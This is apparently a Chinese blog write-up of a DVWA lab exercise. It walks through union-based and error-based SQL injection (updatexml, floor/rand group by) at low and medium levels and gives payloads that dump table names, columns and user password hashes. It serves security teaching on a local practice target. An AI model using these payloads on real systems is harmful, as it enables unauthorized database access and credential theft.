Dvwa sql low 联合注入,报错注入

Dvwa sql low 联合注入,报错注入

\1. 判断注入点

输入1,数据正常显示,输入1',页面显示爆错,1附近多出现了一个逗号

\2. 判断注入类型

?id=1' and 1=1 # 正常显示数据,

?id=1' and 1=2 # 页面不显示数据,也不会报错

判断 low级别的注入是字符型

\3. 判断字段数

? Id=1' order by 3 #

?id=1' order by 2 # 页面显示正常

\4. 找出注入点

Payload :

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1%27+union+select+1%2C2%23&Submit=Submit#

\5. 爆出表名

Payload:

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

\6. 爆出字段名

Payload:

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#

\7. 爆出敏感数据

Payload:

-1' union select 1,group_concat(user,password) from users#

Dvwa medium

\1. 判断注入点

抓到提交的包,上传到repeater

输入单引号,页面出现爆错,

\2. 判断注入类型

? Id=1 and 1=1 页面显示正常

? Id=1 and 1=2 页面无显示

判断是数字型

\3. 判断注入字段数

?id =1 order by 3 #

\4. 爆出库名

Payload: id=-1 union select database(),version()

\5. 爆出表名

Payload:

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

\6. 爆出列名

这里发现单引号出现过滤,我们尝试16进制编码来进行绕过

Payload:

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273

\7. 爆出数据

Payload:

id=-1 union select 1,group_concat(user,password)from users&Submit=Submit

Dvwa low medumn

\1. 判断注入点,

输入单引号,发现页面报错,可进行报错注入

Payload:

id=-1 and updatexml(1,concat(0x7e,database()),1)

\2. 爆出表名

Payload:

id=-1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)

\3. 爆出列名

Payload:

id=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),1)&Submit=Submit

发现只能爆出一些列名

尝试使用limit函数进行测试

Payload:

id=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 limit 0,1)),1)

发现还是只能出现一点点数据,调整limit的数量还是只能一点点

Dvwa low

尝试使用floor函数和group by 进行报错

原理:通过 floor 报错的方法来爆数据的本质是 group by 语句的报错。group by 语句报错的原因

是 floor(random(0)*2)的不确定性,即可能为 0 也可能为 1

group by key 执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的 key 时,

如果 key 存在于临时表中,则更新临时表中的数据(更新数据时,不再计算 rand 值);如果

该 key 不存在于临时表中,则在临时表中插入 key 所在行的数据。(插入数据时,会再计算

rand 值)如果此时临时表只有 key 为 1 的行不存在 key 为 0 的行,那么数据库要将该条记录插入临

时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)*2)结果可能为 1,就

会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值

实际测试中发现,出现报错,至少要求数据记录为 3 行,记录数超过 3 行一定会报错,2 行

时是不报错的。

Payload:

1' union select count(*),concat(floor(rand(0)*2),database())fannn from information_schema.tables group by fannn #

参考链接:SQL注入实战之报错注入篇(updatexml extractvalue floor) - 陈子硕 - 博客园 (cnblogs.com)

om information_schema.tables group by fannn #

[外链图片转存中...(img-WpMKvPvf-1710557932658)]

参考链接:SQL注入实战之报错注入篇(updatexml extractvalue floor) - 陈子硕 - 博客园 (cnblogs.com)

相关推荐
衍生星球1 小时前
【网络安全】公钥密码体制
网络·安全·web安全
鲨鱼辣椒丶D2 小时前
「漏洞复现」某徳知识产权管理系统 UploadFileWordTemplate 文件上传漏洞
web安全
newxtc3 小时前
【易社保-注册安全分析报告】
人工智能·安全·web安全·机器学习·网络安全
zqh1767364646917 小时前
cisp-pte多少钱考一次?cisp-pte报考费用及报考条件一次说清楚!
大数据·运维·服务器·安全·web安全·网络安全
A 八方17 小时前
【漏洞复现】数字通云平台智慧政务 login 存在登录绕过漏洞
安全·web安全·政务